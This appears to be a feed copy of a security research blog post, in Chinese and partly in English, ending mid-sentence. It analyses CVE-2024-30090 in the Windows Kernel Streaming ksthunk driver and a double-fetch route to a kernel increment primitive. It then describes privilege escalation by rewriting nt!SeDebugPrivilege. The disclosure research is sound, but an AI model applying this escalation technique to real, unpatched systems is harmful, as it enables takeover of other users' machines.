href="https://devco.re/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1/#the-new-bug-pattern">bug pattern</a> 很快地又找到了一個可以利用的漏洞 <a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-30090">CVE-2024-30090</a>。</p> <h2 id="proxying-to-kernel-again-">Proxying to kernel again !</h2> <p>這次的問題點發生在 ksthunk 將 32-bit request 轉換成 64-bit request 的過程。</p> <p>如下圖,當 ksthunk 接收到來自 WoW64 Process 的 IOCTL_KS_ENABLE_EVENT 時,會進行 32-bit 結構到 64-bit 結構的轉換 <img src="/assets/img/blog/20241005/3.png" alt="" /></p> <p>轉換過程會呼叫 <code class="language-plaintext highlighter-rouge">ksthunk!CKSAutomationThunk::ThunkEnableEventIrp</code> 來處理</p> <pre><code class="language-cpp=">__int64 __fastcall CKSAutomationThunk::ThunkEnableEventIrp(__int64 ioctlcode_d, PIRP irp, __int64 a3, int *a4) { ... if ( (v25-&gt;Parameters.DeviceIoControl.Type3InputBuffer-&gt;Flags &amp; 0xEFFFFFFF) == KSEVENT_TYPE_ENABLE || (v25-&gt;Parameters.DeviceIoControl.Type3InputBuffer-&gt;Flags &amp; 0xEFFFFFFF) == KSEVENT_TYPE_ONESHOT || (v25-&gt;Parameters.DeviceIoControl.Type3InputBuffer-&gt;Flags &amp; 0xEFFFFFFF) == KSEVENT_TYPE_ENABLEBUFFERED ) { // Convert 32-bit requests and pass down directly } else if ( (v25-&gt;Parameters.DeviceIoControl.Type3InputBuffer-&gt;Flags &amp; 0xEFFFFFFF) == KSEVENT_TYPE_QUERYBUFFER ) { ... newinputbuf = (KSEVENT *)ExAllocatePoolWithTag((POOL_TYPE)0x600, (unsigned int)(inputbuflen + 8), 'bqSK'); ... memcpy(newinputbuf,Type3InputBuffer,0x28); //------------------------[1] ... v18 = KsSynchronousIoControlDevice( v25-&gt;FileObject, 0, IOCTL_KS_ENABLE_EVENT, newinputbuf, inputbuflen + 8, OutBuffer, outbuflen, &amp;BytesReturned); //-----------------[2] ... } ... } </code></pre> <p>而在 <code class="language-plaintext highlighter-rouge">CKSAutomationThunk::ThunkEnableEventIrp</code> 中,明顯可以看到類似的 bug pattern,從 [1] 中可以看到,它會複製使用者的輸入到新分配出來的 Buffer 中,接著在 [2] 處,就會利用該 Buffer 來使用 KsSynchronousIoControlDevice 呼叫新的 IOCTL,。其中 newinputbuf 及 OutBuffer 都是使用者所傳入的內容。</p> <p>呼叫 <code class="language-plaintext highlighter-rouge">CKSAutomationThunk::ThunkEnableEventIrp</code> 時的流程,大概如下圖所示 :</p> <p><img src="/assets/img/blog/20241005/4.png" alt="" /></p> <p>在 WoW64 的程式中呼叫 IOCTL 時,可以看到圖中第 2 步 I/O Manager 會將 <code class="language-plaintext highlighter-rouge">Irp-&gt;RequestorMode</code> 設成 UserMode(1),而在第 3 步時,ksthunk 會將使用者的 request 從 32-bit 轉換成 64-bit,這邊就會用 <code class="language-plaintext highlighter-rouge">CKSAutomationThunk::ThunkEnableEventIrp</code> 來處理。</p> <p><img src="/assets/img/blog/20241005/5.png" alt="" /></p> <p>之後第 5 步,就會透過 <code class="language-plaintext highlighter-rouge">KsSynchronousIoControlDevice</code> 重新呼叫 IOCTL ,而此時新的 <code class="language-plaintext highlighter-rouge">Irp-&gt;RequestorMode</code> 就變成了 KernelMode(0) 了,而後續的處理就如一般的 IOCTL_KS_ENABLE_EVENT 相同,就不另外詳述了,總之我們到這裡已經有個可以任意做 IOCTL_KS_ENABLE_EVENT 的 primitive 了,接下來我們必須尋找看看是否有可以 EoP 的地方。</p> <h2 id="the-exploitation">The Exploitation</h2> <p>跟先前思路一樣,一開始還是會先分析入口點 ksthunk,然而我們找尋了一陣子之後,並沒有看到可以做為提權的地方,而且在 ksthunk 中,大多數只要看到 <code class="language-plaintext highlighter-rouge">Irp-&gt;RequestMode</code> 是 KernelMode(0) 就會直接往下傳遞而不另外做處理。因此我們將我們的目標轉向位在下一層的 ks,看看它在處理 event 的過程中,是否有可以用來提權的地方。</p> <p><img src="/assets/img/blog/20241005/6.png" alt="" /></p> <p>很快的就找到一個吸引我們目光的地方:</p> <p><img src="/assets/img/blog/20241005/7.png" alt="" /></p> <p>在 KspEnableEvent 的 Handler 中,有一處會先判斷你所傳入的 KSEVENTDATA 中的 NotificationType 來決定要怎麼註冊及處理你的事件,在一般情況下通常是給一個 <a href="https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-createeventa">EVENT_HANDLE</a> 或是 <a href="https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createsemaphorea">SEMAPHORE_HANDLE</a>,然而在 ks 中,如果是從 KernelMode 呼叫的就給以提供 <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/event-objects">Event Object</a> 甚至 <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-dpc-objects">DPC</a> 來註冊你的事件,讓整體的處理上更有效率。</p> <p>也就是說我們可以藉由這個 KernelMode 的 DeviceIoControl 的 primitive 來提供任意 Kernel Object,讓它做後續處理,構造的好就有機會達成 EoP 但要看後續怎麼使用這個 Object 就是了。</p> <p>但是我們在嘗試了一段時間後發現到……</p> <pre><code class="language-cpp=">__int64 __fastcall CKSAutomationThunk::ThunkEnableEventIrp(__int64 ioctlcode_d, PIRP irp, __int64 a3, int *a4) { ... if ( (v25-&gt;Parameters.DeviceIoControl.Type3InputBuffer-&gt;Flags &amp; 0xEFFFFFFF) == KSEVENT_TYPE_ENABLE || (v25-&gt;Parameters.DeviceIoControl.Type3InputBuffer-&gt;Flags &amp; 0xEFFFFFFF) == KSEVENT_TYPE_ONESHOT || (v25-&gt;Parameters.DeviceIoControl.Type3InputBuffer-&gt;Flags &amp; 0xEFFFFFFF) == KSEVENT_TYPE_ENABLEBUFFERED ) //-------[3] { // Convert 32-bit requests and pass down directly } else if ( (v25-&gt;Parameters.DeviceIoControl.Type3InputBuffer-&gt;Flags &amp; 0xEFFFFFFF) == KSEVENT_TYPE_QUERYBUFFER ) //-------[4] { ... newinputbuf = (KSEVENT *)ExAllocatePoolWithTag((POOL_TYPE)0x600, (unsigned int)(inputbuflen + 8), 'bqSK'); ... memcpy(newinputbuf,Type3InputBuffer,0x28); //------[5] ... v18 = KsSynchronousIoControlDevice( v25-&gt;FileObject, 0, IOCTL_KS_ENABLE_EVENT, newinputbuf, inputbuflen + 8, OutBuffer, outbuflen, &amp;BytesReturned); ... } ... } </code></pre> <p>如果要提供任意 Kernel Object 去註冊事件,那麼 IOCTL 中所給定的 <a href="https://learn.microsoft.com/zh-tw/windows-hardware/drivers/stream/ksevent-structure">KSEVENT</a> 的 flag,必須要是 <code class="language-plaintext highlighter-rouge">KSEVENT_TYPE_ENABLE</code>,也就是上面程式碼 [3] 的部分,然而在程式碼片段 [4] 處是觸發漏洞的地方卻是要是 <code class="language-plaintext highlighter-rouge">KSEVENT_TYPE_QUERYBUFFER</code>,並沒辦法如我們所想的一樣直接給一個 Kernel Object。</p> <p><img src="/assets/img/blog/20241005/8.png" alt="" /></p> <p>然而幸運的是整個 IOCTL_KS_ENABLE_EVENT 也是使用 <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/using-neither-buffered-nor-direct-i-o">Neither I/O</a> 直接拿使用者的 Input buffer 來做資料上的處理,<strong>再次</strong>出現了 Double Fetch 的問題。</p> <p><img src="/assets/img/blog/20241005/9.png" alt="" /></p> <p>如上圖中所示,我們可以在呼叫 IOCTL 前把 flag 設置成 <code class="language-plaintext highlighter-rouge">KSEVENT_TYPE_QUERYBUFFER</code>,檢查時就會以 <code class="language-plaintext highlighter-rouge">KSEVENT_TYPE_QUERYBUFFER</code> 的功能處理,而在第二次呼叫 IOCTL 前,就把 flag 換成 <code class="language-plaintext highlighter-rouge">KSEVENT_TYPE_ENABLE</code>,這樣就可以成功觸發漏洞並構造特定的 Kernel Object 來註冊事件了。</p> <h3 id="trigger-the-event">Trigger the event</h3> <p>至於甚麼時候會用到你所構造的 KS Object 呢? 當事件觸發時, ks 會透過 DPC 呼叫 <code class="language-plaintext highlighter-rouge">ks!ksGenerateEvent</code>,此時就會依照你所給定的 NotificationType 來決定要怎麼處理你的事件。</p> <p>我們就來看一下 <code class="language-plaintext highlighter-rouge">KsGenerateEvent</code></p> <pre><code class="language-cpp=">NTSTATUS __stdcall KsGenerateEvent(PKSEVENT_ENTRY EventEntry) { switch ( EventEntry-&gt;NotificationType ) { case KSEVENTF_DPC: ... if ( !KeInsertQueueDpc(EventEntry-&gt;EventData-&gt;Dpc.Dpc, EventEntry-&gt;EventData, 0LL) ) _InterlockedAdd(&amp;EventEntry-&gt;EventData-&gt;EventObject.Increment, 0xFFFFFFFF); //--------[6] ... case KSEVENTF_KSWORKITEM: ... KsIncrementCountedWorker(eventdata-&gt;KsWorkItem.KsWorkerObject); //-----------[7] } } </code></pre> <p>其實到這邊就有多種利用方式可以利用,最直接的莫過於直接構造 DPC 結構註冊 DPC 來達成任意 Kernel 程式碼執行,也就是上面程式碼片段 [6] 的地方,<strong>但在呼叫 KsGenerateEvent 時的 IRQL 是 <code class="language-plaintext highlighter-rouge">DISPATCH_LEVEL</code> 很難在 User space 下構造 DPC object 利用過程也會遇到許多問題</strong>。</p> <p>所以我們改用另外一條 KSEVENTF_KSWORKITEM,也就是程式碼片段 [7] 的部分,藉由傳入 Kernel 位置,讓他誤認為是 KSWORKITEM 的指標。</p> <p><img src="/assets/img/blog/20241005/10.png" alt="" /></p> <p>其中就會對該指標指向位置加上 0x5c 的地方加一,也就是可以達到任意 Kerenl Address 加一的寫入,其整個過程就如下圖:</p> <p><img src="/assets/img/blog/20241005/11.png" alt="" /></p> <p>在呼叫 IOCTL_KS_ENABLE_EVENT 時,構造 KSEVENTDATA 指向 Kernel 記憶體位置後,ks 處理時就會將它作為 Kernel Object 來操作,並註冊指定的事件</p> <p><img src="/assets/img/blog/20241005/12.png" alt="" /></p> <p>而到觸發時,ks 就會將我們給的記憶體位置內容 +1,因此我們這邊就有了一個 kernel 任意 +1 的 primitive 了。</p> <h3 id="arbitrary-increment-primitive-to-eop">Arbitrary increment primitive to EoP</h3> <p>從任意記憶體位置 +1 到提權有許多方法可以利用,其中最知名的莫過於 <a href="https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernal_Slides.pdf">Abuse token privilege</a> 以及 <a href="https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/">IoRing</a>,原本以為到這邊就差不多結束了…</p> <p>然而上述兩種方法在這個情境中都有一定的侷限:</p> <h4 id="abuse-token-privilege">Abuse token Privilege</h4> <p>如果是以 Abuse token privilege 方法來做提權,其關鍵在於覆寫 Privileges.Enable 及 Privileges.Present,而我們漏洞一次只能 +1 ,如果要拿到 SeDebugPrivilege 就必須兩個欄位都要寫到,這兩格欄位的預設數值為 <code class="language-plaintext highlighter-rouge">0x602880000</code> 及 <code class="language-plaintext highlighter-rouge">0x800000</code> 必須要變成,0x602<strong>9</strong>80000 及 0x<strong>9</strong>00000,也就是說分別都要各寫 0x10 次,總共要 0x20 次的寫入,每次的寫入都要 race,需要花上不少時間,穩定度也大幅下降。</p> <h4 id="ioring">IoRing</h4> <p>透過 IoRing 來達到任意寫入,也許會是個更簡單的方法,只需覆寫 <code class="language-plaintext highlighter-rouge">IoRing-&gt;RegBuffersCount</code> and <code class="language-plaintext highlighter-rouge">IoRing-&gt;RegBuffers</code> 就可達到任意寫入,然而有個問題就發生了…</p> <p><img src="/assets/img/blog/20241005/13.png" alt="" /></p> <p>在觸發任意記憶體位置 +1 這個 primitive 時,如果原先的數值是 0 時,就會進到 KsQueueWorkItem 中,其中會有一些相對應複雜的處理,就會導致 BSoD, IoRing 的利用方式剛好就會遇到這狀況…</p> <p><img src="/assets/img/blog/20241005/14.png" alt="" /></p> <p>是不是真的沒辦法穩定利用了呢?</p> <h4 id="lets-find-a-new-way-">Let’s find a new way !</h4> <blockquote> <p>當傳統的利用方法遇到瓶頸時,深入探討技術的核心機制可能會是值得的。你或許會在此過程中意外發現新的方法。</p> </blockquote> <p>經過幾天沉思之後,我們決定找尋新方法,但從頭找新的方法可能會花不少時間也可能找不到,於是我們決定從舊有的兩個方法中找尋新的靈感,首先來看的是 Abuse token privilege,其中最關鍵的就是利用漏洞拿到 SeDebugPrivilege 使得我們可以 Open 像是 winlogon 等高權限的 Process。</p> <p>問題就來了,<strong>為什麼只要有 SeDebugPrivilege 就可以開啟高權限的 Process 呢?</strong></p> <p>這邊就要來看一下 PsOpenProcess,以下是 PsOpenProcess 的程式碼片段:</p> <p><img src="/assets/img/blog/20241005/15.png" alt="" /></p> <p>由此可見,當我們在 Open Process 時, kernel 會優先使用 SeSinglePrivilegeCheck 檢查你是否有 SeDebugPrivilege,如果你具有 SeDebugPrivilege 那就會給你 <code class="language-plaintext highlighter-rouge">PROCESS_ALL_ACCESS</code> 的權限,不會有其他 ACL 的檢查,讓你可以對任意 Process 去做任何事情,顧名思義就是讓你 Debug 用的,然而有一點值得注意的地方是 SeDebugPrivilege 是在 <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code> 上的全域變數。</p> <p><img src="/assets/img/blog/20241005/16.png" alt="" /></p> <p>它會是個 <a href="https://learn.microsoft.com/en-us/windows/win32/api/ntdef/ns-ntdef-luid">LUID</a> 結構,會在系統啟動時初始化,實際數值為 0x14 ,表示在 Privileges.Enable 及 Privileges.Present 欄位中哪個 bit 是代表 SeDebugPrivilege。所以當我們在用 NtOpenProcess 時,系統去查看這個全域變數中的數值。</p> <p><img src="/assets/img/blog/20241005/17.png" alt="" /></p> <p>獲得要檢查的數值後,就會依照這個數值去檢查 Token 中的 Privileges 欄位是否有 Enable 及 Present 這個欄位,以 SeDebugPrivilege 來說就會檢查<strong>第 0x14 bit</strong>。</p> <p><img src="/assets/img/blog/20241005/18.png" alt="" /></p> <p>然而有一件有趣的事情是…</p> <p><img src="/assets/img/blog/20241005/19.png" alt="" /></p> <p><code class="language-plaintext highlighter-rouge">nt!SeDebugPrivilege</code> 這個全域變數是<strong>位於可寫的區段中</strong>!</p> <p>因此一個新的想法就誕生了。</p> <h4 id="make-abusing-token-privilege-great-again-">Make abusing token privilege great again !</h4> <p>預設情況下,一般權限的使用者會像這張圖一樣,僅有少數的 Privileges</p> <p><img src="/assets/img/blog/20241005/20.png" alt="" /></p> <p>不過我們可以注意到的是,大部分情況下都會有 SeChangeNotifyPrivilege 且是 Enable 的。這時我們就可以來看看初始化的地方,就可發現 SeChangeNotifyPrivilege 所代表是數值為 0x17。</p> <p><img src="/assets/img/blog/20241005/21.png" alt="" /></p> <p>那如果我們利用漏洞把 SeDebugPrivilege 從 0x14 換成 0x17 會發生甚麼事情呢?</p> <p><img src="/assets/img/blog/20241005/22.png" alt="" /></p> <p>如上圖,在原先 OpenProcess 的流程中,依舊會先去看 <code class="language-plaintext highlighter-rouge">nt!SeDebugPrivilege</code> 中的數值,而這時獲得的數值為 0x17(SeChangeNotifyPrivilege)</p> <p><img src="/assets/img/blog/20241005/23.png" alt="" /></p> <p>接下來的檢查就會以 0x17 對當前 Process token 做驗證,看看有沒有這個 Privilege,然而一般使用者都會有這個 Privilege,因此即使你沒有 SeDebugPrivilege 也會直接通過檢查,拿到 <code class="language-plaintext highlighter-rouge">PROCESS_ALL_ACCESS</code>,<strong>也就是說任何擁有 SeChangeNotifyPrivilege 都可以 open 除了 PPL 之外的高權限的 Process</strong>。</p> <p>此外利用我們上述的漏洞來將 <code class="language-plaintext highlighter-rouge">nt!SeDebugPrivilege</code> 從 0x14 改成 0x17,因為原本的數值不是 0 是不會受到 KsQueueWorkItem 影響的,因此非常適合我們。</p> <p><img src="/assets/img/blog/20241005/24.png" alt="" /></p> <p>在可以 open 高權限的 Process 後,提權方式就與一般的 Abuse token privilege 方法相同就不再這邊多提了,最終我們又在一次利用 Proxying to kernel 成功在 Windows 11 23H2 上達成 EoP。</p> <iframe width="560" height="315" src="https://www.youtube.com/embed/m2TNVDgz7CI?si=YJQ9_u7xoyVt1wRm" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe> <h4 id="remark">Remark</h4> <p>實際上來說,這個方法也適用於其他高權限的 Privilege 中</p> <ul> <li>SeTcbPrivilege = 0x7</li> <li>SeTakeOwnershipPrivilege = 0x9</li> <li>SeLoadDriverPrivilege = 0xa</li> <li>…</li> </ul> <h2 id="the-next--summary">The Next &amp; Summary</h2> <p>這兩篇文章中,主要著重於我們怎麼從過往的漏洞分析到發現新漏洞的過程,如何從過去的研究之中獲得新的想法、新的利用方式,新的漏洞以及新的攻擊面。關於這種 Proxy 類型的 Bug class 可能還存在很多,也可能不只侷限於 Kernel Streaming 和 <a href="https://learn.microsoft.com/zh-tw/windows-hardware/drivers/ddi/wdm/nf-wdm-iobuilddeviceiocontrolrequest">IoBuildDeviceIoControlRequest</a>,我認為算是 Windows 設計上的一個小缺陷,如果認真找可能還會找到一些漏洞,這類型的漏洞你需要關注的地方就是 <code class="language-plaintext highlighter-rouge">Irp-&gt;RequestorMode</code> 設置的時間點,如果設置 KernelMode 之後還有拿使用者的輸入做事情,就有機會出問題,而且這類型的漏洞往往都很好用。</p> <p>在 Kernel Streaming 中,我認為應該不少潛在的安全性漏洞,他也還有很多元件像是 <code class="language-plaintext highlighter-rouge">Hdaudio.sys</code> 或是 <code class="language-plaintext highlighter-rouge">Usbvideo.sys</code> 可能也是個可以看的方向,也是個適合 fuzzing 的地方。如果你是個 Kernel driver 開發者最好不要只有檢查 Irp-&gt;Requestormode,Windows 架構下很有可能還是有問題。最後再次強烈建議大家盡速更新 Windows 到最新版本中。</p> <h2 id="is-that-the-end-of-it-">Is that the end of it ?</h2> <p>實際上來說除了 Proxy 類型的漏洞之外,我們還有找到其他更多的 Bug class 使得我們在 Kernel Streaming 上找到超過 20 個漏洞,有些漏洞非常特別,敬請期待 Part III。</p> <h2 id="reference">Reference</h2> <ul> <li><a href="https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernal_Slides.pdf">Easy Local Windows Kernel Exploitation</a></li> <li><a href="https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/">One I/O Ring to Rule Them All: A Full Read/Write Exploit Primitive on Windows 11 </a></li> </ul> https://devco.re/blog/2024/10/05/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part2/ https://devco.re/blog/2024/10/05/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part2 Sat, 05 Oct 2024 00:00:00 +0800 Streaming vulnerabilities from Windows Kernel - Proxying to Kernel - Part II <p><a href="/blog/2024/10/05/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part2-en/">English Version</a>, <a href="/blog/2024/10/05/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part2/">中文版本</a></p> <p>This is a series of research related to Kernel Streaming attack surface. It is recommended to read the following articles first.</p> <ul> <li><a href="https://devco.re/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1-en/">Streaming vulnerabilities from Windows Kernel - Proxying to Kernel - Part I</a></li> </ul> <p>In the previous research on <code class="language-plaintext highlighter-rouge">Proxying to Kernel</code>, we discovered multiple vulnerabilities in Kernel Stearming as well as an overlooked bug Class. We successfully exploited vulnerabilities CVE-2024-35250 and CVE-2024-30084 to compromise Windows 11 at Pwn2Own Vancouver 2024.</p> <p>In this article, we will continue to explore this attack surface and bug Class, revealing another vulnerability and exploitation technique, which was also presented at <a href="https://www.hexacon.fr/">HEXACON 2024</a>.</p> <p>After Pwn2Own Vancouver 2024, we continued to investigate the <code class="language-plaintext highlighter-rouge">ks!KsSynchronousIoControlDevice</code> bug pattern to see if there were any other security issues. However, after some time, we did not find any other exploitable points in the property operations of KS object. Therefore, we shifted our focus to another feature, KS Event.</p> <h2 id="ks-event"><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/stream/ks-events">KS Event</a></h2> <p>Similar to the <a href="https://devco.re/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1-en/#ks-property">KS Property</a> mentioned in the previous article, the KS object not only has its own property set but also provides the functionality to set KS Event. For instance, you can set an event to trigger when the device status changes or at regular intervals, which is convenient for developers of playback software to define subsequent behaviors. Each KS Event, like a property, requires the KS object to support it to be used. We can register or disable these Events through <a href="https://learn.microsoft.com/zh-tw/windows-hardware/drivers/ddi/ks/ni-ks-ioctl_ks_enable_event">IOCTL_KS_ENABLE_EVENT</a> and <a href="https://learn.microsoft.com/zh-tw/windows-hardware/drivers/ddi/ks/ni-ks-ioctl_ks_disable_event">IOCTL_KS_DISABLE_EVENT</a>.</p> <h3 id="kseventdata">KSEVENTDATA</h3> <p>When registering a KS Event, you can register the desired event by providing <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ks/ns-ks-kseventdata">KSEVENTDATA</a>. You can include handles such as EVENT_HANDLE and SEMAPHORE_HANDLE in the registration. When KS triggers this event, it will notify you using the provided handle.</p> <h3 id="the-work-flow-of-ioctl_ks_enable_event">The work flow of IOCTL_KS_ENABLE_EVENT</h3> <p>The entire work flow is similar to IOCTL_KS_PROPERTY. When calling DeviceIoControl, as shown in the figure below, the user’s requests are sequentially passed to the corresponding driver for processing.</p> <p><img src="/assets/img/blog/20241005/1.png" alt="" /></p> <p>Similarly, in step 3, 32-bit requests will be converted into 64-bit requests. By step 6, ks.sys will determine which driver and <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ks/nc-ks-pfnksaddevent">addhandler</a> to handle your request based on the event of your requests.</p> <p><img src="/assets/img/blog/20241005/2.png" alt="" /></p> <p>Finally, forward it to the corresponding driver. As shown in the figure above, it is finally forwarded to <code class="language-plaintext highlighter-rouge">KsiDefaultClockAddMarkEvent</code> in ks to set the <a href="https://learn.microsoft.com/zh-tw/windows-hardware/drivers/ddi/wdm/nf-wdm-kesettimerex">timer</a>.</p> <p>After grasping the KS Event functionality and process, we swiftly identified another exploitable vulnerability, <a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-30090">CVE-2024-30090</a>, based on the previous <a href="https://devco.re/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1/#the-new-bug-pattern">bug pattern</a>.</p> <h2 id="proxying-to-kernel-again-">Proxying to kernel again !</h2> <p>This time, the issue occurs when <code class="language-plaintext highlighter-rouge">ksthunk</code> converts a 32-bit request into a 64-bit one.</p> <p>As shown in the figure below, when <code class="language-plaintext highlighter-rouge">ksthunk</code> receives an <code class="language-plaintext highlighter-rouge">IOCTL_KS_ENABLE_EVENT</code> request and the request is from a WoW64 Process, it will perform the conversion from a 32-bit structure to a 64-bit structure.</p> <p><img src="/assets/img/blog/20241005/3.png" alt="" /></p> <p>The conversion would call <code class="language-plaintext highlighter-rouge">ksthunk!CKSAutomationThunk::ThunkEnableEventIrp</code> to handle it.</p> <pre><code class="language-cpp=">__int64 __fastcall CKSAutomationThunk::ThunkEnableEventIrp(__int64 ioctlcode_d, PIRP irp, __int64 a3, int *a4) { ... if ( (v25-&gt;Parameters.DeviceIoControl.Type3InputBuffer-&gt;Flags &amp; 0xEFFFFFFF) == KSEVENT_TYPE_ENABLE || (v25-&gt;Parameters.DeviceIoControl.Type3InputBuffer-&gt;Flags &amp; 0xEFFFFFFF) == KSEVENT_TYPE_ONESHOT || (v25-&gt;Parameters.DeviceIoControl.Type3InputBuffer-&gt;Flags &amp; 0xEFFFFFFF) == KSEVENT_TYPE_ENABLEBUFFERED ) { // Convert 32-bit requests and pass down directly } else if ( (v25-&gt;Parameters.DeviceIoControl.Type3InputBuffer-&gt;Flags &amp; 0xEFFFFFFF) == KSEVENT_TYPE_QUERYBUFFER ) { ... newinputbuf = (KSEVENT *)ExAllocatePoolWithTag((POOL_TYPE)0x600, (unsigned int)(inputbuflen + 8), 'bqSK'); ... memcpy(newinputbuf,Type3InputBuffer,0x28); //------------------------[1] ... v18 = KsSynchronousIoControlDevice( v25-&gt;FileObject, 0, IOCTL_KS_ENABLE_EVENT, newinputbuf, inputbuflen + 8, OutBuffer, outbuflen, &amp;BytesReturned); //-----------------[2] ... } ... } </code></pre> <p>In <code class="language-plaintext highlighter-rouge">CKSAutomationThunk::ThunkEnableEventIrp</code>, a similar bug pattern is clearly visible. You can see that during the processing, the original request is first copied into a newly allocated buffer at [1]. Subsequently, this buffer is used to call the new IOCTL using <code class="language-plaintext highlighter-rouge">KsSynchronousIoControlDevice</code> at [2]. Both <code class="language-plaintext highlighter-rouge">newinputbuf</code> and <code class="language-plaintext highlighter-rouge">OutBuffer</code> are controlled by the user.</p> <p>The flow when calling <code class="language-plaintext highlighter-rouge">CKSAutomationThunk::ThunkEnableEventIrp</code> is illustrated as follows:</p> <p><img src="/assets/img/blog/20241005/4.png" alt="" /></p> <p>When calling IOCTL in a WoW64 process, you can see in step 2 of the diagram that the I/O Manager sets <code class="language-plaintext highlighter-rouge">Irp-&gt;RequestorMode</code> to UserMode(1). In step 3, ksthunk converts the user’s request from 32-bit to 64-bit, handled by <code class="language-plaintext highlighter-rouge">CKSAutomationThunk::ThunkEnableEventIrp</code>.</p> <p><img src="/assets/img/blog/20241005/5.png" alt="" /></p> <p>Afterward, in step 5, <code class="language-plaintext highlighter-rouge">KsSynchronousIoControlDevice</code> will be called to issue the IOCTL, and at this point, the new <code class="language-plaintext highlighter-rouge">Irp-&gt;RequestorMode</code> has become <strong>KernelMode(0)</strong>. The subsequent processing is the same as a typical <code class="language-plaintext highlighter-rouge">IOCTL_KS_ENABLE_EVENT</code>, so it won’t be detailed further. In summary, we now have a primitive that allows us to perform arbitrary <code class="language-plaintext highlighter-rouge">IOCTL_KS_ENABLE_EVENT</code> with KernelMode. Next, we need to look for places where we can achieve EoP.</p> <h2 id="the-exploitation">The Exploitation</h2> <p>Following the <a href="https://devco.re/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1-en/#the-eop">previous approach</a>, we first analyzed the entry point <code class="language-plaintext highlighter-rouge">ksthunk</code>. However, after searching for a while, we found no potential privilege escalation points. In <code class="language-plaintext highlighter-rouge">ksthunk</code>, most instances where <code class="language-plaintext highlighter-rouge">Irp-&gt;RequestMode</code> is <code class="language-plaintext highlighter-rouge">KernelMode(0)</code> are directly passed down without additional processing. Therefore, we shifted our eyes to the next layer, <code class="language-plaintext highlighter-rouge">ks</code>, to see if there are any opportunities for privilege escalation during the event handling process.</p> <p><img src="/assets/img/blog/20241005/6.png" alt="" /></p> <p>Quickly, we found a place that caught our attention.</p> <p><img src="/assets/img/blog/20241005/7.png" alt="" /></p> <p>In the <code class="language-plaintext highlighter-rouge">KspEnableEvent</code> handler, a code snippet first checks the <code class="language-plaintext highlighter-rouge">NotificationType</code> in the <code class="language-plaintext highlighter-rouge">KSEVENTDATA</code> you passed in to determine how to register and handle your event. In general, it usually provides an <a href="https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-createeventa">EVENT_HANDLE</a> or a <a href="https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createsemaphorea">SEMAPHORE_HANDLE</a>. However, in <code class="language-plaintext highlighter-rouge">ks</code>, if called from <code class="language-plaintext highlighter-rouge">KernelMode</code>, we can provide an <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/event-objects">Event Object</a> or even a <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-dpc-objects">DPC Object</a> to register your event, making the overall handling more efficient.</p> <p>This means we can use this <code class="language-plaintext highlighter-rouge">DeviceIoControl</code> with <code class="language-plaintext highlighter-rouge">KernelMode</code> primitive to provide a <strong>kernel object</strong> for subsequent processing. If constructed well, it might achieve <code class="language-plaintext highlighter-rouge">EoP</code>, but it depends on how this <code class="language-plaintext highlighter-rouge">Object</code> is used later.</p> <p>However, after trying for a while, we discovered that …</p> <pre><code class="language-cpp=">__int64 __fastcall CKSAutomationThunk::ThunkEnableEventIrp(__int64 ioctlcode_d, PIRP irp, __int64 a3, int *a4) { ... if ( (v25-&gt;Parameters.DeviceIoControl.Type3InputBuffer-&gt;Flags &amp; 0xEFFFFFFF) == KSEVENT_TYPE_ENABLE || (v25-&gt;Parameters.DeviceIoControl.Type3InputBuffer-&gt;Flags &amp; 0xEFFFFFFF) == KSEVENT_TYPE_ONESHOT || (v25-&gt;Parameters.DeviceIoControl.Type3InputBuffer-&gt;Flags &amp; 0xEFFFFFFF) == KSEVENT_TYPE_ENABLEBUFFERED ) //-------[3] { // Convert 32-bit requests and pass down directly } else if ( (v25-&gt;Parameters.DeviceIoControl.Type3InputBuffer-&gt;Flags &amp; 0xEFFFFFFF) == KSEVENT_TYPE_QUERYBUFFER ) //-------[4] { ... newinputbuf = (KSEVENT *)ExAllocatePoolWithTag((POOL_TYPE)0x600, (unsigned int)(inputbuflen + 8), 'bqSK'); ... memcpy(newinputbuf,Type3InputBuffer,0x28); //------[5] ... v18 = KsSynchronousIoControlDevice( v25-&gt;FileObject, 0, IOCTL_KS_ENABLE_EVENT, newinputbuf, inputbuflen + 8, OutBuffer, outbuflen, &amp;BytesReturned); ... } ... } </code></pre> <p>If you want to provide a kernel object to register an event, then the flag given in the IOCTL for <a href="https://learn.microsoft.com/zh-tw/windows-hardware/drivers/stream/ksevent-structure">KSEVENT</a> must be <code class="language-plaintext highlighter-rouge">KSEVENT_TYPE_ENABLE</code> at [3]. However, at 